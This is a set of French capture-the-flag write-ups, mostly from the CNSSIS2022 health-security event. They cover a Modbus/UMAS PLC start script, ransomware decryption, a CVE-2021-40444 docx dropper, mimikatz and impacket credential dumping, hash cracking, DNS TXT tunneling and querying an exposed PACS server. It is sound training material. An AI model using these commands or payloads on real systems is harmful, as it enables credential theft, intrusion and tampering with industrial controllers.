Lorsque les automates Schneider Electric reçoivent un paquet modbus, ils vérifient si le code de fonction est BX5A (fonction 90) et si oui, certaines bibliothèques spécifiques sont utilisées, sinon, la requête modbus est traitée normalement, en retournant ou en modifiant le(s) registre(s) ou bobine(s) spécifié(s) de l'automate.

#### Post n°4

Un message d’un employé de la centrale à ses collègues disant qu’il a eu des problèmes avec un outil qui demande en prérequis une ancienne version de python. Docker semble corriger le problème…

![](/files/XP4HiuHdBObPzRxgh7Uq)

### 3️⃣ - Sauver la centrale nucléaire

L’objectif est maintenant de sauver la centrale en exécutant le script mais cette fois ci en démarrant la centrale et sans éteindre notre propre machine.

Nous avons donc commenté la fonction clean pour protéger notre Master des Exceptions.

```bash
def clean():
    # os.system(bytes.fromhex('7265626F6F74').decode('utf-8'))
		pass
```

Puis nous avons cherché dans la documentation le code de fonction pour démarrer le PLC :

```bash
UMAS Function Code 0x40 - START_PLC: Starts the PLC
```

Il suffisait alors de remplacer “41” par “40”

```bash
umas_function_code = '40'
```

Après avoir executé le script sur le PLC Schneider, on récupère le flag :&#x20;

![](/files/JFU1IImDkd3dWDKy45B2)

**FLAG{251AE793494B6347E00E94265A0586D3}**


# CNSSIS2022

Pour son 10ème Congrès National de la Sécurité de SI de Santé, l’APSSIS propose à ses congressistes de participer à un CTF organisé pendant l'événement.

CTF&#x20;


# Rançongiciel

### Contexte

Le secret de ce challenge se trouve dans le fichier "ransom\_challenge.docx.fun" qui a été chiffré par un rançongiciel. Saurez-vous retrouver le secret de ce challenge ? Voici une capture d'écran du message de demande de rançon :&#x20;

![](/files/8CByv2RypzqehhwQ1g35)

🚨 Soyez prudent dans l'utilisation des outils que vous pourriez trouver pour réaliser ce challenge.

⚠ Certaines solutions de protection (antivirus) pourraient détecter ce fichier chiffré comme un fichier malveillant.

{% file src="/files/Fuz9X8dNxWCBq4OhWqMc" %}

### Analyse du fichier

On nous donne un fichier "ransom\_challenge.docx.fun" :&#x20;

```
onosh@labrioche:$ file ransom_challenge.docx.fun
ransom_challenge.docx.fun: data
onosh@labrioche:$ du -h ransom_challenge.docx.fun
12K     ransom_challenge.docx.fun
```

Comme prévu, le fichier est bien chiffré :&#x20;

```
00000000  1d e8 f6 51 60 d3 4e 1e  ae da 7b b3 de 1a 6e ab  |...Q`.N...{...n.|
00000010  58 34 61 e6 d8 6d 04 cc  22 9a 88 42 e3 aa 93 5c  |X4a..m.."..B...\|
00000020  2d 03 25 2a 99 b6 0b 94  2e ed 57 79 08 80 65 44  |-.%*......Wy..eD|
00000030  c2 35 a3 ed 4e 5b 62 eb  28 25 a8 02 f7 1e a7 07  |.5..N[b.(%......|
00000040  cf 87 0e 64 0f 3c 42 e2  e8 9f 57 20 99 1d 42 9b  |...d.<B...W ..B.|
00000050  80 a8 af 65 56 f7 42 eb  85 ea fe 76 3e 9c 22 6b  |...eV.B....v>."k|
00000060  f2 17 7b bc 79 3b d7 e2  66 fe d3 2e 46 f2 6b 17  |..{.y;..f...F.k.|
00000070  69 58 51 2c 4f b3 16 af  98 7e 20 d2 b8 f1 3e d4  |iXQ,O....~ ...>.|
00000080  f6 02 a4 71 8c ad 0d da  55 29 87 df b4 fe ad 30  |...q....U).....0|
00000090  a6 5d 2b c6 44 c3 73 f3  4d 48 0e 8d 24 d0 72 de  |.]+.D.s.MH..$.r.|
000000a0  bf a4 d6 b6 bb 31 59 0e  9e 97 f4 13 ba 75 2e 17  |.....1Y......u..|
000000b0  a4 a9 95 f6 b0 56 0c 1b  0d 92 13 b7 0f 71 d1 6b  |.....V.......q.k|
000000c0  6f 20 c4 16 e1 ab dd 85  d3 c6 50 a4 a1 f0 a1 8a  |o ........P.....|
000000d0  f0 28 96 bf d5 f2 cb 02  fb 05 15 e7 7b 5c 33 0d  |.(..........{\3.|
000000e0  42 68 cd 1b 93 18 81 b6  3e bf 65 c9 ce f4 19 56  |Bh......>.e....V|
000000f0  06 8f 2b 36 31 02 d1 b1  6c d2 5c 07 6a 40 b1 af  |..+61...l.\.j@..|
```

### Recherche d'information sur le ransomware

Pour déchiffrer, il faut bien comprendre comment ça a été chiffré :tada:

Après quelques recherches, on découvre qu'il s'agit du ransomware Jigsaw :&#x20;

![Wikipédia Ransomware Jigsaw](/files/YpwTqEkINqgNNP8EBVTp)

### Récupération du programme pour déchiffrer

Je cherche un déchiffreur en ligne pour récupérer mon fichier.

Je tombe sur le lien suivant :&#x20;

{% embed url="<https://www.bleepingcomputer.com/download/jigsaw-decrypter>" %}

Le programme semble faire le travail attendu :&#x20;

![](/files/UUQeNWghLguFXWAeSqc4)

![](/files/jiJkrYziJ3qSmdZXUPZ0)

### Déchiffrement du fichier

En toute sécurité dans un environnement Windows isolé d'internet, je lance le programme téléchargé et je sélectionne le dossier qui contient mon fichier chiffré :&#x20;

![](/files/wte3udVOe2MTPPyubeNR)

Je clique sur "Decrypt" :&#x20;

![](/files/QtI052GNDSfe8DuJoYOA)

J'ouvre mon fichier ransom\_challenge.docx, et voici le flag :&#x20;

![](/files/u1p55aVWlEHPWo1MpnJT)


# DICOM

### Contexte

Le standard DICOM permet dans sa conception, une compatibilité vers d'autres formats d'images plus classiques. Cette force est aussi une faiblesse, en particulier pour la sécurité d'un système Windows. Un attaquant semble avoir profité de cette vulnérabilité pour cacher un secret à l'intérieur de cette image DICOM. Saurez-vous retrouver son secret ?

{% file src="/files/JBtFaxv0ncxvLFbAeQoy" %}

### Découverte de DICOM

***Digital imaging and communications in medicine***, couramment abrégée **DICOM**, est un standard pour la gestion [informatique](https://fr.wikipedia.org/wiki/Informatique) des données issues de l'imagerie médicale.

{% embed url="<https://fr.wikipedia.org/wiki/Digital_imaging_and_communications_in_medicine>" %}
Plus d'infos sur DICOM
{% endembed %}

### Ouverture du fichier

Je vérifie l'origine, on est bien sur du DICOM :&#x20;

```
file dicom_challenge.dcm
dicom_challenge.dcm: DICOM medical imaging data
```

J'utilise le client "Rubo DICOM Viewer" pour ouvrir le fichier :&#x20;

![dicom\_challenge.dcm](/files/AuFlxfPwCR8JaFjIsMDM)

On remarque que le flag n'est pas présent sur l'image ou dans les données affichées

### Analyse de la structure du fichier

D'après wikipédia, DICOM utilise une structure bien spécifique pour être intéropérable.

J'utilise le client "Rubo DICOM Parser" pour lire l'ensemble de son contenu, mais toujours pas de flag :&#x20;

![dicom\_challenge.dcm](/files/vcm9ZxbTfpKuYrbvTh37)

### Analyse des strings

Quand on ne trouve rien, on fini toujours par faire un string :smile:

![Flag !](/files/aMOW4qpT6L9gwU7hY0GT)


# Petite frappe

### Contexte

Une intrusion a été détectée sur le réseau.

Un attaquant semble avoir tenté de s’authentifier avec le compte utilisateur "apssis" à plusieurs reprises, mais par chance, il n’a pas réussi à découvrir le mot de passe.

La traçabilité des échecs d’authentification a été activée sur la machine Windows 10 sur laquelle il a tenté de s’introduire.

Les évènements de sécurité Windows ont été extraits et vous sont fournis.

Pour valider ce challenge, vous devrez donner le nombre exact de tentatives infructueuses de connexion au compte utilisateur apssis.

{% file src="/files/6gsRZhjCgUoGofwWcmly" %}

### Le ficher evtx

On nous donne un fichier "security\_events.evtx" avec 3850 events.

![security\_events.evtx](/files/Srtj8gGhrCz2vqWfwPTf)

### Que dit Microsoft ?

D'après la doc de Microsoft, un utilisateur qui tente de s'authentifier avec un mot de passe incorrect, lève un événement ayant pour code d'état : 0XC000006A

![https://docs.microsoft.com/fr-fr/windows/security/threat-protection/auditing/event-4625](/files/o0lcqShV8JUwt1LTwgfL)

### Recherche des events

Après avoir passé le fichier evtx en .csv, je le parse via grep.

Je remarque qu'il va falloir faire attention car il y a deux utilisateurs : charles et apssis.

![security\_events.csv](/files/Gq4EhAK6tTvSqtdnm08R)

Je trouve 42 events avec le code d'erreur correspondant, mais certains d'entre eux sont peut être des erreurs de charles.

```
cat security_events.csv |grep -n '0xC000006A'
36:     Sous-état :             0xC000006A
86:     Sous-état :             0xC000006A
136:    Sous-état :             0xC000006A
186:    Sous-état :             0xC000006A
436:    Sous-état :             0xC000006A
486:    Sous-état :             0xC000006A
536:    Sous-état :             0xC000006A
586:    Sous-état :             0xC000006A
836:    Sous-état :             0xC000006A
886:    Sous-état :             0xC000006A
936:    Sous-état :             0xC000006A
986:    Sous-état :             0xC000006A
1380:   Sous-état :             0xC000006A
1430:   Sous-état :             0xC000006A
1480:   Sous-état :             0xC000006A
1530:   Sous-état :             0xC000006A
1580:   Sous-état :             0xC000006A
1630:   Sous-état :             0xC000006A
2953:   Sous-état :             0xC000006A
3003:   Sous-état :             0xC000006A
3053:   Sous-état :             0xC000006A
3103:   Sous-état :             0xC000006A
3153:   Sous-état :             0xC000006A
3203:   Sous-état :             0xC000006A
3953:   Sous-état :             0xC000006A
4003:   Sous-état :             0xC000006A
4053:   Sous-état :             0xC000006A
4103:   Sous-état :             0xC000006A
4153:   Sous-état :             0xC000006A
4203:   Sous-état :             0xC000006A
4253:   Sous-état :             0xC000006A
4672:   Sous-état :             0xC000006A
4722:   Sous-état :             0xC000006A
4772:   Sous-état :             0xC000006A
4822:   Sous-état :             0xC000006A
4872:   Sous-état :             0xC000006A
4922:   Sous-état :             0xC000006A
4972:   Sous-état :             0xC000006A
5534:   Sous-état :             0xC000006A
5584:   Sous-état :             0xC000006A
5634:   Sous-état :             0xC000006A
5684:   Sous-état :             0xC000006A
onosh@labrioche:$ cat security_events.csv |grep -n '0xC000006A' |wc -l
42
```

J'applique un second tri sur l'utilisateur apssis :&#x20;

```
cat security_events.csv |grep -n '0xC000006A' -B6 |grep apssis
30-     Nom du compte :         apssis
80-     Nom du compte :         apssis
130-    Nom du compte :         apssis
180-    Nom du compte :         apssis
430-    Nom du compte :         apssis
480-    Nom du compte :         apssis
530-    Nom du compte :         apssis
580-    Nom du compte :         apssis
880-    Nom du compte :         apssis
930-    Nom du compte :         apssis
980-    Nom du compte :         apssis
1374-   Nom du compte :         apssis
1424-   Nom du compte :         apssis
2947-   Nom du compte :         apssis
2997-   Nom du compte :         apssis
3047-   Nom du compte :         apssis
3097-   Nom du compte :         apssis
3147-   Nom du compte :         apssis
3197-   Nom du compte :         apssis
3947-   Nom du compte :         apssis
3997-   Nom du compte :         apssis
4047-   Nom du compte :         apssis
4097-   Nom du compte :         apssis
4147-   Nom du compte :         apssis
4197-   Nom du compte :         apssis
4247-   Nom du compte :         apssis
4666-   Nom du compte :         apssis
4716-   Nom du compte :         apssis
4766-   Nom du compte :         apssis
4816-   Nom du compte :         apssis
4866-   Nom du compte :         apssis
4916-   Nom du compte :         apssis
4966-   Nom du compte :         apssis
5528-   Nom du compte :         apssis
5578-   Nom du compte :         apssis
5628-   Nom du compte :         apssis
5678-   Nom du compte :         apssis
onosh@labrioche:$ cat security_events.csv |grep -n '0xC000006A' -B6 |grep apssis |wc -l
37
```

Le flag est : 37


# Dropper \[.docx]

Comme dans de nombreuses attaques, ce fichier malicieux a été transmis dans un courriel à un utilisateur. À vous d’investiguer et de trouver le secret qu’il cache.

### Découverte du fichier

On a un fichier WORD de 16K.

```
file challenge_dropper.docx && du -h challenge_dropper.docx
challenge_dropper.docx: Microsoft OOXML
16K     challenge_dropper.docx
```

Je vérifie le contenu du fichier sans l'ouvrir en cherchant des magicnumber via foremost :&#x20;

```
onosh@labrioche:$ foremost -i challenge_dropper.docx
Processing: challenge_dropper.docx
|*|
onosh@labrioche:$ cat output/audit.txt
Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File

Foremost started at Wed Apr  6 10:11:35 2022
Invocation: foremost -i challenge_dropper.docx
Output directory: /mnt/v/APSSI/output
Configuration file: /etc/foremost.conf
------------------------------------------------------------------
File: challenge_dropper.docx
Start: Wed Apr  6 10:11:35 2022
Length: 13 KB (13476 bytes)

Num      Name (bs=512)         Size      File Offset     Comment

0:      00000000.zip          13 KB               0
Finish: Wed Apr  6 10:11:35 2022

1 FILES EXTRACTED

zip:= 1
------------------------------------------------------------------

Foremost finished at Wed Apr  6 10:11:35 2022
```

Foremost trouve un fichier zip, qui est en réalité le document word avec l'ensemble des éléments qu'il contient :&#x20;

```
file output/zip/00000000.zip
output/zip/00000000.zip: Microsoft OOXML
onosh@labrioche:$ cd output/zip/
onosh@labrioche:$ unzip 00000000.zip
Archive:  00000000.zip
  inflating: [Content_Types].xml
   creating: docProps/
  inflating: docProps/app.xml
  inflating: docProps/core.xml
   creating: _rels/
  inflating: _rels/.rels
   creating: word/
   creating: word/_rels/
  inflating: word/_rels/document.xml.rels
  inflating: word/document.xml
  inflating: word/fontTable.xml
  inflating: word/settings.xml
  inflating: word/styles.xml
   creating: word/theme/
  inflating: word/theme/theme1.xml
  inflating: word/webSettings.xml
```

### Analyse du contenu du fichier

Le fichier document.xml décrit la structure des fichiers .docx.

On y trouve à l'intérieur un oleObject avec une target qui semble étrange...

```
cat word/_rels/document.xml.rels |sed 's/>/>\n/g'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId8" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/>
<Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/>
<Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/>
<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/>
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/>
<Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="mhtml:http://ctf.apssis.org:1945/secret.txt!x-usc:http://ctf.apssis.org:1945/secret.txt" TargetMode="External"/>
<Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image2.wmf"/>
<Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.jpeg"/>
</Relationships>
```

Le lien nous donne le flag :&#x20;

```
curl -s http://ctf.apssis.org:1945/secret.txt
Le secret de ce challenge est : Jean-Jacques Quisquater
```

### Bonus : analyse approfondie du document

Après un upload sur VirusTotal, on voit que le docx est repéré par plusieurs antivirus :&#x20;

![Analyse virus total](/files/6gnB5pU4I2KT0KVW65fZ)

On a d'ailleurs une CVE associée :&#x20;

![CVE-2021-40444](/files/SboCoOOM5qtpEfsz3JmI)

Le graphe synthètise très bien l'attaque :&#x20;

![https://www.virustotal.com/graph/402720b7522429780b49013f5f6158ea0ebc4f968d8835a1f5e3b14649475078](/files/buhHB9Ze3o9Yj8PruaAt)


# Lsass

### Contexte

Un dump mémoire du processus lsass.exe extrait d'une machine Windows 7 vous est fourni. Saurez-vous retrouver le mot de passe de l'utilisateur apssis ?

{% file src="/files/eLNQelRBoDQLSM9dkUq0" %}

### Découverte du fichier&#x20;

> lsass.exe est un exécutable qui est nécessaire pour le bon fonctionnement de Windows. Il assure l'identification des utilisateurs.

Le dump mémoire du processus lsass peut contenir les identifiants de connexions des utilisateurs.

La technique de dump est décrite dans cet article :&#x20;

{% embed url="<https://beta.hackndo.com/remote-lsass-dump-passwords>" %}

### Récupération des identifiants

On lance mimikatz et on charge le dump mémoire :&#x20;

```
V:\APSSI\lsass>mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'
```

On extrait les mots de passe du dump...

Mot de passe du compte Apssis : **#TOUSCYBERVIGILANTS**

```


mimikatz # sekurlsa::logonPasswords
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 0 ; 140399 (00000000:0002246f)
Session           : Interactive from 1
User Name         : Apssis
Domain            : machine_w7
Logon Server      : MACHINE_W7
Logon Time        : 01/08/2021 00:47:10
SID               : S-1-5-21-2443922912-371119193-1189915212-1001
        msv :
         [00000003] Primary
         * Username : Apssis
         * Domain   : machine_w7
         * NTLM     : ffd8a47bcf0d86c2bb879564e101c181
         * SHA1     : 7ea760d71dc1281f55b0a5107d70fd4dbd4b8ae4
         [00010000] CredentialKeys
         * NTLM     : 0268a7022263f5bc52136c2d7c8da085
         * SHA1     : e5b296569165f4d6111dedc0c660f79df16242f0
        tspkg :
        wdigest :
         * Username : Apssis
         * Domain   : machine_w7
         * Password : #TOUSCYBERVIGILANTS
        kerberos :
         * Username : Apssis
         * Domain   : machine_w7
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 140351 (00000000:0002243f)
Session           : Interactive from 1
User Name         : Apssis
Domain            : machine_w7
Logon Server      : MACHINE_W7
Logon Time        : 01/08/2021 00:47:10
SID               : S-1-5-21-2443922912-371119193-1189915212-1001
        msv :
         [00010000] CredentialKeys
         * NTLM     : 0268a7022263f5bc52136c2d7c8da085
         * SHA1     : e5b296569165f4d6111dedc0c660f79df16242f0
         [00000003] Primary
         * Username : Apssis
         * Domain   : machine_w7
         * NTLM     : ffd8a47bcf0d86c2bb879564e101c181
         * SHA1     : 7ea760d71dc1281f55b0a5107d70fd4dbd4b8ae4
        tspkg :
        wdigest :
         * Username : Apssis
         * Domain   : machine_w7
         * Password : #TOUSCYBERVIGILANTS
        kerberos :
         * Username : Apssis
         * Domain   : machine_w7
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : SERVICE LOCAL
Domain            : AUTORITE NT
Logon Server      : (null)
Logon Time        : 01/08/2021 00:46:14
SID               : S-1-5-19
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : MACHINE_W7$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 01/08/2021 00:46:14
SID               : S-1-5-20
        msv :
        tspkg :
        wdigest :
         * Username : MACHINE_W7$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
         * Username : machine_w7$
         * Domain   : WORKGROUP
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 30548 (00000000:00007754)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 01/08/2021 00:46:13
SID               :
        msv :
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : MACHINE_W7$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 01/08/2021 00:46:13
SID               : S-1-5-18
        msv :
        tspkg :
        wdigest :
         * Username : MACHINE_W7$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
         * Username : machine_w7$
         * Domain   : WORKGROUP
         * Password : (null)
        ssp :
        credman :
```


# Oncle Sam

Une extraction des clés de registres hklm\sam et hklm\system a été réalisée sur une machine Windows et vous est fournie. Votre mission est de retrouver le mot de passe local de l’utilisateur "apssis".

### Découverte des fichiers

Il y a deux fichiers de registre windows dispo :&#x20;

{% file src="/files/YDKLDiHe3omNRvkkV2kV" %}

{% file src="/files/BEjrTONUFk4KpYJ8WHPZ" %}

{% hint style="info" %}
**The Security Account Manager (SAM) is a registry file for Windows XP, Windows Vista, Windows 7, 8.1 and 10 that stores local user's account passwords**.
{% endhint %}

```
file *
sam.save:    MS Windows registry file, NT/2000 or above
system.save: MS Windows registry file, NT/2000 or above
```

Il existe une technique pour extraire les hash NTLM des utilisateurs lorsque l'on a ces deux registres.

### Extractions des hashs

On commence par extraire les hashs des utilisateurs du systèmes via impacket.

```
┌──(kali㉿kali)-[~/Desktop/challenge_sam_password]
└─$ impacket-secretsdump -sam sam.save -system system.save LOCAL
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0x97d0590046fc16af953068aeb5931f6b
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:36bdb0f8f08dddcb87d4942ee013c49b:::
apssis:1002:aad3b435b51404eeaad3b435b51404ee:c2063e596b98a1a61959976c52702ba4:::
[*] Cleaning up...
```

{% embed url="<https://github.com/SecureAuthCorp/impacket>" %}

Je casse le hash NTLM de l'utilisateur apssis sur crackstation :&#x20;

![](/files/MEnywMIJfRZrauYvgV9y)

Le mot de passe de l'utilisateur apssis est "papanoel".


# Bad DNS

### Contexte

Suite à des flux suspects détectés sur le réseau et d’après les premières investigations de votre CERT, un attaquant semble avoir mis en place un service DNS malicieux derrière le FQDN secret.dns-challenge.apssis.org. Arriverez-vous à percer sont secret ?

**Paramètres de connexion pour ce challenge :**

Serveur : dns-challenge.apssis.org Port : 666

### Découverte du serveur DNS

Je lance un dig vers le serveur :&#x20;

```
onosh@labrioche:$ nslookup dns-challenge.apssis.org
Server:         x
Address:        x

Non-authoritative answer:
Name:   dns-challenge.apssis.org
Address: 51.83.97.109

onosh@labrioche:$ dig dns-challenge.apssis.org

; <<>> DiG 9.18.0-2-Debian <<>> dns-challenge.apssis.org
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: FORMERR, id: 31875
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: c8940d827b815aaa (echoed)
;; QUESTION SECTION:
;dns-challenge.apssis.org.      IN      A

;; Query time: 5 msec
;; SERVER: 172.16.16.101#53(172.16.16.101) (UDP)
;; WHEN: Wed Apr 06 11:15:40 CEST 2022
;; MSG SIZE  rcvd: 65
```

### Analyse du FQDN

Il existe une technique d'injection de données/commandes via DNS basé sur les enregistrements TXT :&#x20;

![](/files/qWrYXagHHmGDX2NikACl)

{% embed url="<https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors>" %}

Je lance une requête dig TXT en spécifiant le serveur dns, le port et le FQDN ciblé.

On découvre un enregistrement TXT louche...

```
dig TXT @dns-challenge.apssis.org -p 666 secret.dns-challenge.apssis.org

; <<>> DiG 9.18.0-2-Debian <<>> TXT @dns-challenge.apssis.org -p 666 secret.dns-challenge.apssis.org
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16273
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 88ab417ba1702cd910a767a9624d5b05455d84fe3a742c34 (good)
;; QUESTION SECTION:
;secret.dns-challenge.apssis.org. IN    TXT

;; ANSWER SECTION:
secret.dns-challenge.apssis.org. 604800 IN TXT  "Yr frperg qr pr punyyratr rfg : QAFZrffratre hgvyvfr qrf raertvfgerzragf QAF qr glcr GKG cbhe rkrphgre qvfpergrzrag qrf pbzznaqrf Cbjrefuryy fhe yrf znpuvarf ivpgvzrf qrchvf yrfdhryyrf vy rfg rkrphgr"

;; AUTHORITY SECTION:
secret.dns-challenge.apssis.org. 604800 IN NS   dns-challenge.apssis.org.

;; Query time: 25 msec
;; SERVER: 51.83.97.109#666(dns-challenge.apssis.org) (UDP)
;; WHEN: Wed Apr 06 11:19:01 CEST 2022
;; MSG SIZE  rcvd: 314
```

### Analyse de l'enregistrement TXT

Par réflexe, je pense à l'encodage césar :&#x20;

```
Yr frperg qr pr punyyratr rfg : QAFZrffratre hgvyvfr qrf raertvfgerzragf QAF qr glcr GKG cbhe rkrphgre qvfpergrzrag qrf pbzznaqrf Cbjrefuryy fhe yrf znpuvarf ivpgvzrf qrchvf yrfdhryyrf vy rfg rkrphgr
```

![Encodage césar](/files/Lky7kjoYikDSFMddNVLQ)

J'applique une rotation de 13 (rotation par défaut) sur le message encodé et je récupère le flag :&#x20;

```
onosh@labrioche:$ echo 'Yr frperg qr pr punyyratr rfg : QAFZrffratre hgvyvfr qrf raertvfgerzragf QAF qr glcr GKG cbhe rkrphgre qvfpergrzrag qrf pbzznaqrf Cbjrefuryy fhe yrf znpuvarf ivpgvzrf qrchvf yrfdhryyrf vy rfg rkrphgr' |tr 'A-Za-z' 'N-ZA-Mn-za-m'
Le secret de ce challenge est : DNSMessenger utilise des enregistrements DNS de type TXT pour executer discretement des commandes Powershell sur les machines victimes depuis lesquelles il est execute
```


# Un attaquant sur le réseau

### Contexte

Un attaquant connecté au réseau local, a réussi à prendre le contrôle d’un commutateur. Avant d’arriver à ses fins, l’attaquant a réalisé plusieurs opérations de reconnaissance du réseau, qui, par chance ont été enregistrées. À partir de cet enregistrement, vous devez retrouver sur quel port physique (numéro / identifiant) du commutateur l’attaquant était connecté lors de cette attaque.

{% file src="/files/hTSQbejJ677cj5qGkYtw" %}

### Découverte de la capture de trames

On peut déjà imaginer une timeline grâce à l'énoncé :&#x20;

1. Attaquant connecté au réseau local
2. Reconnaissance réseau :
   1. ARP ?
   2. NMAP ?
3. Connexion à un équipement

Quelques statistiques sur le fichier pcap :&#x20;

![+35000 pkts capturés](/files/fmwua6vYaD0fpdnhI3MJ)

![2 adresses ip en communication](/files/3U9AbHXvRZ7YKVjGnun8)

On découvre aussi plusieurs protocoles :&#x20;

![](/files/SKhuIkhhI7uHfQ70mGiQ)

{% tabs %}
{% tab title="LLC" %}
De la couche basse avec LLC et LLDP

![](/files/fIcWdy9mTXIfXQ9nZStp)

Link Layer Discovery Protocol est un protocole normé dans les publications IEEE 802.1AB et IEEE 802.3 section 6 clause 79. Il sert à la découverte des topologies réseau de proche en proche, mais aussi à apporter des mécanismes d'échanges d'informations entre équipements réseaux, et utilisateurs finaux.
{% endtab %}

{% tab title="Appli" %}
Des protocoles de connexion sur TCP avec telnet et SSH
{% endtab %}
{% endtabs %}

### Qui attaque qui ?

Qui est l'attaquant ?

Les connexions telnet et ssh ont forcément été initié par l'attaquant, donc il suffit de chercher l'adresse ip qui a initié ces connexions.

Le SYN vient de **10.0.0.153**, cette machine est donc celle de l'attaquant.

![](/files/zedqjCwBNpGLICrSQycT)

On confirme l'hypothèse avec le SSH :&#x20;

![](/files/R9AugHm49YJw4X7z5Bzw)

Qui est la victime ?

Le commutateur est 10.0.0.10.

### Recherche du port

Comme vu ci-dessus, le protocole LLDP est intéressant pour l'information que nous recherchons : le numéro de port sur lequel l'attaquant s'est connecté.

![](/files/xczw0ErUQ5WNRYBDAwDz)

Le numéro de port est affiché : 19

![](/files/1NO3lffpxADimUL10RS7)


# Données de santé exposées...

### Contexte

Un lanceur d’alerte vous informe qu’il est facilement possible d’accéder aux données de santé d’un patient à partir d’un serveur de votre infrastructure, exposé sur Internet.

Pour valider ce challenge, à partir de la capture d’écran qu’il vous a fournie, retrouvez le nom et le prénom du patient concerné.

### Analyse de l'image

![challengelanceur\_d\_alerte.jpg](/files/Vt56eVtufQbxCMCAsUhg)

Cet image représente une capture de trames entre un client et un serveur PACS (imagerie médicale).

Le serveur est accessible sur l'IP 51.83.97.109 via le port 1984

Les deux machines discutent en DICOM.

Le client utilise l'AE (Application Entity Title) : AET

<table><thead><tr><th>Signification</th><th width="158.38805970149252">Représentation</th><th>Valeur</th></tr></thead><tbody><tr><td>Specific Character Set</td><td>CS</td><td>ISO_IR_100</td></tr><tr><td>Study Date</td><td>DA</td><td>20211207</td></tr><tr><td>Study Time</td><td>TM</td><td>102726.000</td></tr><tr><td>Accession Number</td><td>SH</td><td>A10072678912</td></tr><tr><td>Query/Retrieve Level</td><td>CS</td><td>STUDY</td></tr><tr><td>Modalities in Study</td><td>CS</td><td>CR</td></tr><tr><td>SOP Classes in Study</td><td>UI</td><td>1.2.840.10008.5.1.4.1.1.1</td></tr><tr><td>Study Description</td><td>LO</td><td>POUMONS</td></tr><tr><td>Patient's Name</td><td>PN</td><td>?</td></tr><tr><td>Patient ID</td><td>LO</td><td>19841987</td></tr></tbody></table>

### Connexion au serveur PACS

Le serveur PACS fonctionne bien après une tentative de communication :&#x20;

```
nc 51.83.97.109 1984 -v
Connection to 51.83.97.109 1984 port [tcp/*] succeeded!
```

Pour pouvoir interroger le serveur, je décide de chercher un client DICOM ou un client PACS.

Le plus fonctionnel semblait être MicroDicom : <https://www.microdicom.com/>

Dans MicroDicom, je configure mon serveur PACS :&#x20;

![](/files/eoVdQUPsyQnHlf78T7EX)

Puis, je cherche le "Accession Number" du patient :&#x20;

![](/files/FTccYgrxM8LLAJmyF0wi)

On récupère alors les données de la patiente :&#x20;

Qui ? JANINE MELNITZ

Date de naissance ? 9-July-1960

Radio de ? POUMONS

Quand précisément ? 7-December-2021 10:27:26

Où ? APSSIS

![Janine Melnitez - Ghostbusters](/files/d1ivL1e6kjAGqpRvbREu)

### Et sur internet ?

